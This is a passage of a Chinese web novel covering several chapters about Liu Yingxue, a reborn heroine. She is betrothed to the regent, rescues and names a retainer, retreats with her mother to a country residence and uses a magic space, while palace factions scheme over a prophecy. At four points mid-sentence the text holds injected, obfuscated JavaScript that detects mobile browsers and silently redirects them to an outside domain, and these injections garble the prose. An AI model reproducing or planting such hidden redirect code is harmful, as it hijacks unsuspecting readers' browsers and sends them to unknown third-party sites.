“走,去找你父亲!”二夫人拉着女儿急匆匆地离开。 与此同时,柳映雪正和母亲朱氏坐在马车上。 “咕咕......”一阵肚子叫声打破了车厢内的宁静。 柳映雪有些不好意思地看向母亲,脸颊微微泛红。 朱氏温柔一笑,伸手轻轻抚摸女儿的发丝:“雪儿饿了吧?前面就是娘的凤栖楼,我们去用膳如何?” “好啊!”柳映雪眼睛一亮,她还没尝过这个时代的饭菜呢,不知道和现代有什么不同。 马车在一座富丽堂皇的两层酒楼前停下。柳映雪刚跳下马车,就感觉到一道若有若无的目光落在自己身上。 她下意识抬头看向对面茶楼二楼,只见窗户被纱帘遮住,隐约能看到里面有人影晃动。 茶楼内,萧寒瑾正与好友品茶。 “寒瑾,那不是你府上的马车?”好友放下茶盏,指着窗外问道。 “嗯,那是柳映雪,本王的未婚妻。”萧寒瑾语气平淡,目光却一直追随着楼下那道娇小的身影。 “瞧瞧,这位就是你指腹为婚的未来娘子?”好友打量着楼下的人影,“虽然身材瘦小,但那双眼睛倒是灵动。不过外面都在传她是从坟墓里爬出来的,这事......” “老子亲自命人将她从土里刨了出来。”萧寒瑾轻抿了口茶,语气依旧平静。 “什么?”好友差点把茶水喷出来,不可思议地看着他,“你说真的?” 第十一章 收了个手下 萧寒瑾放下茶盏,目光依旧停留在对面酒楼的方向。 “如果不是她,本王早就死于剧毒了。”他的声音很轻,却带着不容置疑的笃定。 好友还想追问,却见萧寒瑾已经站起身来。“本王还有事,先走一步。”说完,他大步离开了茶楼。 柳映雪跟着母亲走进凤栖楼,浓郁的香气扑面而来。 步入二楼雅间,她打量着这间雅室,精致的紫檀木家具,墙上挂着几幅名家山水,处处透着不俗的品味。 孙掌柜的脚步声由远及近,他几乎是小跑着进来。 “大小姐!”孙掌柜顾不上擦汗,急切地开口,“外头都传疯了,听说小姐不仅平安归来,还带回了惊人秘密,陛下竟将小姐许配给了摄政王?究竟发生了什么事情!” 朱氏端起茶盏,轻轻抿了一口,眼角泛起温柔的笑意:“孙叔别着急,雪儿,快点过来拜见刘伯。” 柳映雪莲步轻移,裙摆如水般流淌。她向前福了福身,声音清脆悦耳:“孙叔好。” “使不得使不得!”孙掌柜连连后退,脸上写满惶恐,“小小姐这般大礼,老奴可担当不起。” 朱氏放下茶盏,眼中泛起晶莹:“孙叔,这些年你为我们操劳,这一礼受得。若不是你帮我打理产业,我哪能安心在府中照顾雪儿。” “大小姐言重了。”孙掌柜抹了抹眼角,声音有些哽咽,“老爷临走前最放心不下的就是您,让老奴好生照看。如今小小姐平安回来,老爷在天之灵定会欣慰。” 提及往事,朱氏再也控制不住情绪,泪水滚落。 当年父母在江南遭难,她却远在京城,连最后一面都未能见到。那种撕心裂肺的痛楚,至今想起仍让她心如刀绞。 柳映雪见状,轻轻握住朱氏的手。她的手温暖柔软,带着安抚的力量:“娘亲别难过,现在有我在,谁也不敢欺负你。” 朱氏擦干眼泪,对着女儿挤出一抹笑容:“有雪儿在娘身边就好。”她转向孙掌柜,“我打算带雪儿去城郊清溪居修养一阵子,若有要事就去那边寻我。” 孙掌柜连连点头应下,随即亲自去安排膳食。雅间里一时安静下来,只听得窗外传来街市的喧嚣。 柳映雪走到窗边,纱帘轻拂过她的手臂。她往楼下望去,绿竹正在楼下候着,挺拔的身影如一棵青松。 她突发奇想,从窗台上掏出颗小石子,朝绿竹背后抛去。 石子破空而去,却见绿竹只是轻轻侧身,修长的手指便将石子稳稳接住。 “身手不错。”柳映雪暗自点头。 用过午膳,柳映雪站在窗边,百无聊赖地看着街上来往的行人。 忽然,她的目光凝固在街角——一个黑衣人蜷缩在阴影处,远处几个人影正缓缓逼近。 黑衣人身形单薄,却透着一股凌厉之气。 即便受伤,也始终保持着警惕。柳映雪注意到他的呼吸急促,面色发青,显然是中了剧毒。 “娘亲,我去买串糖葫芦。”她随口找了个借口便往外走,裙摆翩然。 朱氏还想说什么,绿竹已经默默跟上。 来到黑衣人身前,柳映雪蹲下身,仔细打量着这个年约二十的年轻人。他嘴角渗着黑血,眼神中带着戒备,却掩不住对生的渴望。 “你中了"绝命香"。”柳映雪开门见山,语气淡然,“我可以救你。” 柳映雪站在山道上,目光落在那名浑身是血的男子身上。他的伤势不轻。 她从袖中取出一颗药丸,在指尖把玩片刻。“这药,这药准能帮你清除体内的毒素。” 男子抬眸望向她,眼中满是迟疑。 “放心,”柳映雪轻笑,“若我想要你的命,何必多此一举?”她将药丸轻轻抛出。 男子伸手接住,毫不犹豫地吞下。片刻后,脸色果然好转了几分。 “你叫什么名字?”柳映雪饶有兴致地打量着他。这人身手不错,从方才逃命时的身手便可看出。虽然受了伤,动作依然干净利落。 “请小姐赐名。”男子低头,声音恭敬。 柳映雪望嘴角微扬:“就叫柳川吧。” “姑娘真是慷慨,这名字我可太喜欢了。”男子跪地叩首,动作虽然牵动伤口,却不见丝毫痛苦之色。 远处传来急促的脚步声,绿竹匆匆赶来,看到地上跪着的陌生男子,不由得愣住:“柳大小姐这是......” “我新收的手下,”柳映雪漫不经心地说,手指轻轻拨弄着衣袖,“赶紧给他安排个隐蔽的角落,免得被人发现。” 绿竹张了张嘴,一时不知该说什么。这位大小姐收手下的速度,怎么跟买菜似的这么快?不过他很快回过神来:“是,我这就带他去。” 绿竹背起柳川快步离去,柳映雪正要转身,就见几个人匆匆赶来。为首的是个面容凶狠的汉子,腰间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505477|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别着长刀,一看就不是善类。 “姑娘,”那人喘着粗气问道,眼神阴鸷,“可曾见过一个受伤的男子?” 柳映雪眨了眨眼,一脸天真无邪:“见过啊。” “往哪个方向去了?”几人立刻围上前。 她随手指向相反的方向,看着几人急匆匆追去的背影,嘴角勾起一抹狡黠的笑。 这些人明显来者不善,既然收了手下,自然要护他周全。 街上行人渐多,柳映雪走到酒楼门口,一高兴就给自己买了俩串糖葫芦。 茶楼对面的雅间里,萧寒瑾将这一切尽收眼底。他端着茶盏,神色淡然,却始终没有移开视线。 “寒瑾,”身旁的男子啧啧称奇,“你这未来王妃可真是与众不同。寻常闺秀谁敢救个陌生男子?她不但救了,还收为己用,手段了得啊。” 萧寒瑾放下茶盏:“本王的王妃,自然非比寻常。”顿了顿,他又道,“查查那个男子的来历。” “这......”对面的男子目瞪口呆,“王爷,你什么时候开始关心女人的事了?” “她与其他女子不同,”萧寒瑾淡淡道,目光依然追随着楼下那道身影,“那些官家小姐,不过是一个模子刻出来的,索然无味。” 男子大笑:“谁不知道那些闺秀以宫廷礼仪为傲?就连京城四美之首的秦玉华,不也是......” “秦玉华是谁?”萧寒瑾皱眉。 男子差点被茶水呛到,心想这位王爷还真是......全京城都知道秦玉华对他的心思,他倒好,连人都不认识。 二楼雅间内,柳映雪将糖葫芦递给朱氏。楼下传来的议论声清晰可闻,几个茶客正在热烈讨论。 “听说了吗?柳丞相家那位"死而复生"的大小姐,要嫁给摄政王了......” “怎么能让下过葬的人嫁给我们的战神王爷?” “就是,帝师家的嫡孙女才配得上摄政王......” 朱氏担忧地看着女儿,却见柳映雪神色如常,正专注地啃着糖葫芦。糖衣在她唇边晶莹剔透,衬得她肌肤如雪。 “雪儿......” “娘亲快尝尝,”柳映雪笑靥如花,“这糖葫芦可甜了。” 朱氏接过糖葫芦,心疼地道:“别理会那些闲言碎语,咱们摄政王可是出了名的洁身自好,什么帝师嫡女,他怕是看都不会看一眼。” 第十三章 回到清溪居 门开处,一位白发老者迎了出来。他的背有些佝偻,但眼神却异常明亮。见到朱氏,老泪纵横,声音都有些哽咽:“大小姐...” “朱叔,这些年可好?”朱氏拉住他要跪拜的身子,语气中满是关切。 “多谢大小姐挂念,老奴一切安好。”朱叔抹了抹眼角,目光慈爱地看着柳映雪,“这就是二小姐吧?老奴记得,当年二小姐还是这么高呢。”他比划着,脸上露出怀念的神色。 朱氏为柳映雪介绍:“雪儿,这是你朱叔,当年可没少带你玩耍。那时候你还小,怕是记不得了。” 柳映雪福身行礼,朱叔连忙推辞:“二小姐太客气了。老奴记得,您小时候最喜欢在后院的梅树下玩耍。那棵梅树现在还在呢,每年都开得很好。” 安顿好新买来的下人,绿竹告辞回府复命。柳映雪带着朱氏步入院中,处处可见亭台楼阁,小桥流水,颇有江南园林之韵。石径两旁种着各色花草,虽不及丞相府的精致,却多了几分野趣。 “雪儿可喜欢这里?”朱氏问道,目光柔和地看着女儿。 柳映雪点头,深吸一口气,空气中带着草木的清香:“比丞相府清净多了。”这里没有尔虞我诈,没有明枪暗箭,只有清风明月,山水相依。 朱氏轻叹:“当年就想带你来此小住,如今...倒是阴差阳错实现了。”她的声音中带着几分感慨,又有些许愧疚。 “娘,从今往后,女儿定当寸步不离地守在您身边。”她轻声说道,声音里带着几分坚定与柔软,“这清溪居清幽雅致,正适合您歇息养神。” 朱氏坐在檀木椅上,指尖轻轻摩挲着茶杯边缘。听到女儿的话,她嘴角浮现出释然的笑意,眼角的泪痕还未完全干涸。 “雪儿说得对,为那等负心人伤神,着实不值。”朱氏抬手轻抚柳映雪的发丝,目光中满是慈爱,“只要能与你相守,娘便已心满意足。” 院子里的老槐树在风中轻轻摇曳,投下斑驳的树影。母女二人正说笑间,忽听得脚步声匆匆,朱婶带着女儿朱莲快步走来,裙摆沾了些许尘土。 “夫人!小姐!”朱婶一进门就要跪下行礼,眼泪已经在眼眶中打转。 “朱婶快快请起。”朱氏连忙上前搀扶,握住她粗糙的手,“这些年,你们可还好?” 朱婶抹着眼泪,哽咽道:“托大小姐的福,我们都好。这是小女朱莲,赶紧来拜见小姐。”她轻推了推身边的女儿。 朱莲刚要跪下,却被朱氏拦住。朱氏温和地说:“不必多礼,日后相处的日子还长着呢。” “这位是...小小姐吗?”朱婶目光落在柳映雪身上,眼中满是惊喜与不可思议。她仔细打量着眼前这位亭亭玉立的少女,记忆中那个天真烂漫的小姑娘早已长大成人。 柳映雪莞尔一笑,福了福身:“朱婶好。”她的举止优雅从容,却又带着几分亲切。 “这不就是我们的小姐吗!”朱婶激动得泪如雨下,声音颤抖,“老爷夫人在天之灵,见小姐平安无事,定然欣慰。” 看着这对忠心耿耿的主仆重逢,柳映雪心中一暖:“朱婶,我可是一直惦记着您的手艺呢。记得小时候,您做的桂花糕是我最爱吃的。” “老奴这就去准备晚膳!”朱婶擦干眼泪,喜滋滋地带着女儿退下,脚步都轻快了几分。 待她们离开,朱氏轻声道:“雪儿,你住的地方在母亲房间旁边,先去歇息片刻,用膳时我再唤你。” 柳映雪点点头,推开雕花木门,她倒在床上,疲惫渐渐袭来,很快沉沉睡去。 与此同时,长乐宫中的气氛却截然不同。 卢皇后坐在描金软榻上,手中的茶盏已经凉透,她难以置信地看着卢嬷嬷:“你说柳映雪还活着?” “千真万确,司公公亲自去请了郭大人,老奴打听得清清楚楚。”卢嬷嬷低声回答,“听说人就在城外的清溪居里。” 卢皇后陷入沉思,手指无意识地敲击着扶手。正想着要不要为儿子重提亲事,贴身丫鬟芷兰却带来更令人震惊的消息。 “娘娘!”芷兰跑得上气不接下气,“皇上已经把柳大小姐赐婚给摄政王了!” “什么?!”卢皇后猛地站起身,茶盏跌落在地,发出清脆的响声,“你再说一遍?” 芷兰跪在地上,声音发颤:“奴婢亲耳听见的,皇上刚才在明德殿下的旨意。” 一个时辰后,卢嬷嬷打探到了内情:“郭大人说,能起死回生的人,不是能带来巨大灾祸就是能带来莫大福运。皇上认定柳映雪是大凶之相,特意赐婚给摄政王...”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505479|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>卢皇后听罢,长舒一口气。原来皇上是要用柳映雪来克制摄政王,这倒是个妙计。 静华宫中,白贵妃正欣赏着皇上新赐的翠玉手镯。 宫女小心翼翼地端着茶盘进来,却被这个消息惊得差点打翻茶水。 “**也能复活?”她喃喃自语,玉手一颤,手镯滑落在软垫上,“这世上竟有如此诡异之事?” “娘娘,确实如此,那位传旨的内侍大人亲口所说。”宫女低声回答,“听说柳大小姐容貌依旧,丝毫未变。” 白贵妃慵懒地靠在软榻上,指尖把玩着一串晶莹剔透的佛珠。。 “这佛珠倒是难得的好物件。”她轻声低语,眸光在佛珠上流连,“只可惜......” 话未说完,她的眉头便深深蹙起。这串佛珠是四皇子萧辰玉孝敬给她的,据说是从西域商人手中得来的珍品。 可即便是这样的稀世之物,在皇上眼中也比不上三皇子萧辰煜随手送的一支普通玉簪。 想到这里,她手上的动作不由得加重了几分。 “娶了这个女子就能称霸天下......”这句话又不受控制地在脑海中响起。 白贵妃的指尖一颤,佛珠应声落地,在地面上发出清脆的响声。一旁的宫女们连忙上前收拾,却被她挥手制止。 “都退下吧。” 待宫女们退去,她才缓缓起身,走到窗前。夕阳的余晖透过雕花窗棂洒进来,在地上投下斑驳的影子。 那个占卜之人的话语犹在耳畔。当初郭大人说出这番预言时,她几乎是立刻就派人去查证了柳映雪的身世。 一个小小的丞相嫡女,凭什么能与天下产生联系? 后来柳映雪**,她欣喜若狂,连着好几日都笑意盈盈。 可谁知天意弄人,那死去的柳映雪竟又活了过来,还被皇上赐给了摄政王。 “绿萱!”她突然开口唤道。 一个身着翠绿宫装的丫鬟快步走了进来,“奴婢在。” “去查查这到底是怎么回事。”白贵妃的声音里带着不易察觉的颤抖,“我要知道她是如何从棺材里爬出来的。” “是,娘娘。”绿萱躬身退下。 白贵妃重新坐回软榻,她必须弄清楚这件事,否则她寝食难安。 第十四章 祖母气晕 与此同时,柳府内的气氛却比宫中更加凝重。 柳丞相站在大夫人的院子里,目光扫过空荡荡的庭院。院中一应物件皆已不见,连最普通的扫帚都不剩一把,诡异得令人心惊。 “这......”二夫人站在一旁,欲言又止。 柳书兰低着头站在父亲身后,脸色苍白。自从姐姐“复活”后,她总觉得浑身不自在,仿佛有一双眼睛在暗处盯着她。 “去问过管家了吗?”柳丞相沉声问道。这些日子发生的事情,已经远远超出了他的承受范围。 “问过了,”二夫人小心翼翼地回答,“他们说并未见人搬动物件。” 这么惊人的声势,府中下人竟无一人察觉?柳丞相不由想起那从坟墓中爬出的大女儿,一股寒意顺着脊背爬上来。 “老爷!老太君醒了!”一个小厮急匆匆跑来禀报,打断了众人的思绪。 柳丞相一行人立即往聚祥院赶去。一路上,府中的下人们都低着头,不敢与主子们对视。自从大小姐回来后,整个府邸都笼罩在一种诡异的氛围中。 “母亲,可好些了?”到了床前,柳丞相放轻声音问道。 老太君躺在床上,面色苍白如纸。听到儿子的声音,她才缓缓睁开眼,目光中带着难以掩饰的惊恐:“我看见映雪的魂魄回来了......” “母亲莫怕,”柳丞相握住老太君的手,“那逆女没死,只是在耍弄我们。” “没死?”老太君猛地坐起身,苍老的面容因愤怒而扭曲,“岂有此理!让她立刻来见我,我要她跪祠堂三天三夜!” “母亲息怒,她已和大夫人去清溪居休养了。” “母亲,”二夫人适时开口,声音里带着几分刻意的惋惜,“当家主母离开之际提到,今后再不会给家里添麻烦,说是大小姐调养需要银两......” “什么?!”老太君勃然大怒,“朱氏好大的胆子!她......”话未说完,便又昏了过去。 “快请大夫!”柳丞相连忙吩咐道。 夜色渐深,柳映雪独自一人在房中。 她仔细检查了门窗,确保无人能窥视后,才缓缓闭上眼睛,意识沉入那方神秘空间。 空间依旧如故,只是多了一汪清泉。清澈的水面倒映着她的面容,那张脸上看不出任何表情。 她蹲在池边,仔细端详着这突然出现的泉水。前世她曾用尽办法也未能让这池子出水,没想到重生后反倒自动涌出泉水来。 “莫非这就是天意?”她轻声自语,伸手轻轻触碰水面。涟漪荡开,她仿佛看到了前世种种画面。 柳映雪站在空间里,目光扫过远处那片新出现的田地,嘴角不由勾起一抹笑意。 这片土地与她种植药材的地方截然不同,看来老天爷是真的眷顾她。 她缓步走在田埂上,脚下的泥土松软而肥沃,手指轻轻掐起一撮,感受着其中蕴含的生机。 “这里的土质比药田更适合种植粮食。”她轻声自语。 回想起前世的经历,她不禁陷入沉思。那时她就发现,种植药材的地方根本无法种植粮食,土壤性质完全不同。而现在竟然多出这么一大片适合种植的良田,这对她来说无疑是天大的惊喜。 柳映雪漫步在药田之间,轻轻抚摸着一株株生长茂盛的药草。 “有了这片新的良田,就不用担心粮食问题了。”她低声呢喃。 空间里的一切都能随她心意而动,种下种子后只需一个念头就能收获。这种神奇的能力让她在这个陌生的世界里找到了依靠。更让她惊喜的是,这方天地的时间流速是外界的十倍,这意味着她能事半功倍。 走到小池边,清澈的水面倒映出她略显苍白的脸庞。她从随身携带的布袋里取出一只青瓷杯,轻轻盛了半杯月露水。杯中的水波荡漾,折射出点点光芒。 “咕咚咕咚” 清凉甘甜的泉水入喉,一股暖流顺着喉咙缓缓流向四肢百骸。 她能感觉到这具孱弱的身体在一点点变得温暖,就像是干涸的土地得到了甘霖的滋润。 “不能贪杯。”她放下杯子,看着倒影中的自己,“这具身子骨太弱,得慢慢调养。” 离开空间后,疲惫感涌上心头。她躺在床上,不知不觉间,她陷入了沉睡。 与此同时,三皇子府此刻灯火辉煌,觥筹交错。 萧辰煜高坐在主位,一袭墨色锦袍衬得他越发俊美不凡。 他目光淡淡扫过下方觥筹交错的宾客,面上带着得体的笑容,眼底却藏着几分深意。他正在宴请朝中重臣家的公子、才子,觥筹交错间暗流涌动。 “恭喜三皇子,陛下已经赐婚您与柳二小姐。”尚书府的王博举杯祝贺,眼中带着几分讨好,“待柳二小姐及笄,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505480|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可完婚了。” 萧辰煜微微颔首,举杯示意。酒杯中的美酒在烛光下泛着淡淡的金色,就像是流动的琥珀。 “三哥。”坐在右手边的萧生玉压低声音,凑近了些,“听说柳映雪被指婚给了摄政王?这消息可当真?” “明日整个青云国都会知道这个消息。”萧辰煜轻啜一口酒,“那个死而复生的柳映雪,成了九皇叔的未婚妻。” “三哥,你还记得那个预言吗?”萧生玉神色凝重,“现在她诡异地活过来,有传言说她即将嫁给九皇叔,这预言......” “父皇已经见过郭大人。”萧辰煜放下酒杯,“宫中突然传出一个惊人的消息,说她死而复生或大凶或大吉。父皇断言这是一个不详的兆头,才把她指给了九皇叔。” “若是大吉呢?”萧生玉皱眉,声音中带着担忧,“九皇叔本就权势滔天,若再得此助力,对三哥您......” 萧辰煜摆了摆手,打断了弟弟的话,“不必着急,九皇叔什么时候真正听过父皇的话?这道圣旨,他未必会接受。” 宴席持续到深夜,宾客们陆续告辞。萧辰煜站在府邸的高处,望着远处的皇宫。 与此同时,太傅府中。 秦玉华站在书房门外,手心冒汗。她能听见里面传来父亲和祖父的谈话声。 “父亲,天子意外下旨,将公主许配给权倾朝野的王爷,朝野上下都猜测这道诏书背后隐藏的深意?”父亲秦远的声音透着几分忧虑,“这婚事来得太突然了。” “这事说来蹊跷。”祖父秦帝师的语气沉重,椅子挪动的声音传来,似乎在踱步,“前些日子,我从观星台的郭大人那里听说过一个秘闻。” 秦玉华屏住呼吸,悄悄把耳朵贴近门缝。夜风吹得她裙摆轻摆,心跳却愈发急促。 “那郭大人酒后吐露,坊间传言,丞相家的嫡女天生贵气,命中注定将成为非凡女子,娶了她,就等同于掌控了整个江山。”秦帝师压低声音道,“皇后得知后,立即让皇上下旨,把柳映雪指婚给了三皇子。” “可柳映雪不是**又活了吗?。”秦远的声音里带着疑惑,“怎么第二天又活过来了?” “正是因为她死而复生,皇上才急着把她赐给摄政王。”秦帝师冷笑一声,茶杯重重放在桌上,“若她真有凤女之相,皇上岂会让她嫁给摄政王?分明是试探!” 第十五章 倾心已久 秦玉华心头一颤,指尖无意识地抠着门框。她对摄政王倾心已久,每次在宫中遇见,那挺拔如松的身影总让她移不开目光。 可现在,他要娶的是柳映雪。想到这里,她的手不自觉地收紧。 “此事背后必有隐情。”秦帝师继续道,“柳丞相一向谨慎,为何会让嫡女的命格之说传出去?皇上和摄政王之间的较量,怕是要借这桩婚事见分晓。” 正想着,她不小心碰倒了门边的青花瓷瓶。清脆的碎裂声在夜色中格外刺耳。 “谁?”门猛地被拉开,发出刺耳的声响。 秦远看到是女儿,神色稍缓:“华儿,你怎么在这?” 秦玉华红着眼圈,支支吾吾说不出话。月光下,她的脸色苍白得吓人。 “进来吧。”秦远叹了口气,拉着女儿的手进了书房。 书房内檀香袅袅,案几上的烛火摇曳。秦帝师坐在太师椅上,目光如炬地看着孙女。 “华儿,这么晚了找祖父有何事?”秦帝师看着最疼爱的孙女,语气温和了几分。 秦玉华咬了咬唇,突然跪下,裙摆在地上铺开一片:“祖父,求您帮我向皇上请旨,让我嫁给摄政王做侧妃!” “放肆!”秦帝师猛地站起,茶盏被打翻,热茶洒了一桌,“你可知道自己在说什么?堂堂帝师之孙,竟要给人做妾!” “祖父息怒。”秦远连忙上前给父亲顺气,“华儿年幼不懂事。” 秦玉华跪在地上,浑身发抖。烛光映照下,她的泪珠如断了线的珍珠般滚落。她从未见过祖父如此震怒,连声音都带着颤抖。 “你可想过,若你嫁入摄政王府,就是把整个秦家推向皇上的对立面!”秦帝师怒斥道,“若摄政王有朝一日倒台,我秦家也将万劫不复!” 秦玉华如遭雷击,瘫坐在地。她只想嫁给心上人,却不曾想过会连累全家。泪水模糊了视线,她看着祖父气得发抖的身影,心如刀绞。 “罢了。”秦帝师缓和语气,重新坐下,“明日我就去请旨,让你嫁给三皇子为正妃。” “不要!”秦玉华惊呼,声音里带着哭腔,“三皇子已有柳家二小姐为妃。” “柳家二小姐不过是侧妃,正妃之位一直空着。”秦帝师捋着胡须道,“你已及笄,正好可以完婚。” “我不要嫁给三皇子,我心里只有摄政王一人。”秦玉华哽咽道,泪水打湿了衣襟。 “糊涂!”秦帝师怒极反笑,“摄政王那等人物,心狠手辣,不近女色。他府上除了厨房下人,全是侍卫,你嫁过去也讨不得他欢心。” 秦玉华低着头,泪水无声滑落。她知道祖父说的都是事实,可心却不受控制地疼痛。那些偷偷注视的目光,那些暗自思念的夜晚,都要成为泡影了吗? “况且,”秦帝师继续道,“摄政王府那些侍卫个个都是**不眨眼的角色。你这般娇生惯养,如何能在那种地方生存?” 秦玉华身子一颤,想起那日在宫中远远看到的场景。摄政王府的侍卫面无表情地站在王爷身后,腰间的刀锋寒光凛凛。 “父亲说得对。”秦远叹息道,“华儿,你还年轻,日后自会遇到良人。” 秦帝师挥手唤来守在门外的丫鬟:“把小姐送回房。” 看着孙女失魂落魄的背影,秦帝师长叹一声,目光深邃。 他何尝不知摄政王才是最好的选择,但立场不同,再好也是镜花水月。他不能拿整个秦家的命运去赌。 柳映雪轻轻推开房门,一股难闻的气味扑面而来,让她不由得皱起眉头。她快速环视四周,生怕这味道飘到隔壁去。 “这要是被朱莲闻到...”她轻声嘀咕着,眉头越皱越紧。 柳映雪站在原地犹豫了片刻,最终还是快步走到床边,指尖轻轻一点,整个人便消失在原地。 “也不知道这浴桶是谁留下的...”她一边思索,一边提起浴桶走向水池。 倒水的过程中,她发现了一个奇妙的现象——池水的水位几乎没有变化。 “这...这是取之不尽用之不竭?”她瞪大了眼睛,不可思议地看着水池。 温热的水汽氤氲上升,柳映雪褪去衣衫,小心翼翼地滑入浴桶。温暖的水流包裹着她的身体,一股暖流从四肢百骸涌入,带走了所有的疲惫与不适。 “嘶——”她轻轻吸了口气,感受着身体的变化。那些曾经折磨她的伤痛正在逐渐消散,就连呼吸都变得轻松起来。 沐浴过后,她站在铜镜前,不由得发出一声惊叹。镜中的少女已经脱胎换骨,肌肤胜雪,光滑如玉。 原本布满疤痕的皮肤此刻完好如初,纤纤玉指宛如新剥的葱白,双腿修长笔直。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505481|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这月露水的效果...”她喃喃自语,目光中带着几分惊喜,又带着几分担忧,“变化太大了,得想办法遮掩才是。” 她换上一身淡青色的衣裙,仔细打量着镜中的容颜。那张脸蛋儿白里透红,灵动的大眼睛配上纤长的睫毛,随着睫毛轻轻颤动,秀气的琼鼻下是一张樱桃小口。和上辈子的模样几乎如出一辙,却更添了几分灵气。 试着运转了下柳府心法,体内真气流转顺畅,一股暖流在经脉中游走。她能感觉到,身体机能已恢复了六七成。 “若是每日在空间中练习...”她的目光落在练功区域,心中盘算着,“配上这个世界的轻功和前世的古武...” 看着池中荡漾的月露水,柳映雪突然想到了什么。“娘亲...”她轻声呢喃,“得给娘亲也准备些才是。” 她小心翼翼地将浴桶中剩余的水倒入药田,看着水珠滴落在药草上,晶莹剔透。“这等灵物浇灌,药效应该能更好些。” 然而,当她再次看向镜中时,眉头又皱了起来。这变化实在太明显了,昨日还是灰败暗淡的模样,若是一夜之间就焕然一新,难免会引起怀疑。再加上新买了那么多下人... 她翻找出抽屉里的胭脂水粉,开始调整肤色。“得一点点来,”她一边调整一边思索,“太急切反而会引人注目。” 收拾停当,柳映雪轻盈地走出空间。昨日那种走几步就想歇息的虚弱感已经荡然无存,整个人神清气爽。想到能去见娘亲用早膳,她的嘴角不自觉地扬起一抹笑意。 与此同时,柳府另一处院落里。 “老爷,您...您没事吧?”高姨娘的声音中带着几分担忧,几分困惑。 柳丞相坐在床边,面色阴沉。昨夜的事情让他难以接受,他堂堂一品大员,竟然...竟然... “无事。”他沉声道,语气中带着几分烦躁。 高姨娘欲言又止,最终还是轻轻叹了口气。她起身为柳丞相整理衣衫,动作轻柔细腻。 “老爷最近政务繁忙,想必是太过劳累了。”她柔声说道,“要不要让府医来看看?” “不必!”柳丞相厉声打断,随即又放缓语气,“我无事,你不必担心。” 高姨娘低着头应了一声。以往老爷在她这里,从未有过这样的情况。难道真的是自己伺候得不够周到? 第十六章 全家被下毒 柳丞相站起身,整了整衣冠。他不愿多想昨晚的事。 “我去书房处理公务。”他说着便往外走,脚步略显匆忙。 她总觉得柳丞相有些不对劲,那种异样感挥之不去。往日里,他虽然也会发些脾气,但从未像今天这般反常。用膳时摔了碗,说话时声音发颤,就连看人的目光都躲躲闪闪。 “难道是朝堂上出了什么事?”高姨娘喃喃自语,手指无意识地绞着锦被。 一阵冷风吹进来,她打了个寒颤,起身关窗。 柳丞相在书房中走来走去。 “怎么会这样...怎么会这样...”他低声咆哮,声音里带着难以置信和愤怒。 堂堂一品丞相,朝廷重臣,竟然...竟然...想到那羞于启齿的事,他狠狠地摔了手中的茶盏。 “啪!”瓷器碎裂的声音在夜里格外清脆。 门外的义叔被这声响吓了一跳,犹豫片刻后,轻轻叩门:“老爷,可要添茶?” “义叔,备轿。”柳丞相的声音沙哑而急促。 “这么晚了,老爷要去哪?”义叔迟疑道。 “闭嘴,照做!”柳丞相厉声喝道,随即又压低声音,“记住,不要声张。” 深夜的街道上,一顶普通轿子悄然前行。轿夫放轻脚步,连呼吸都小心翼翼。柳丞相换了一身灰布衣裳,戴着斗笠,遮住了大半张脸。 “就这家。”他指着一间药铺,声音里带着几分急切。 药铺门前挂着“济世堂”的招牌,已经有些褪色。门框上贴着几张发黄的医案,在夜风中微微颤动。 “砰砰砰!”急促的敲门声在寂静的夜里格外刺耳。 “谁啊?”一个年轻学徒揉着惺忪的睡眼开门,话音未落,一把寒光闪闪的剑已经架在了他的脖子上。 “带我见大夫,快!”柳丞相压低声音威胁道。 学徒吓得双腿发软,连连点头:“是...是...大夫在后堂...” 司大夫正在后堂整理药材,听到动静走了出来。油灯的光线下,他看起来年过半百,须发斑白,但目光炯炯有神。 “这位客人,深夜登门,所为何事?”司大夫不卑不亢地问道。 柳丞相坐下,伸出手腕:“切脉。” 司大夫摇头:“大夫看病,讲究望闻问切,光切脉如何能知病情?还请客人说明症状。” 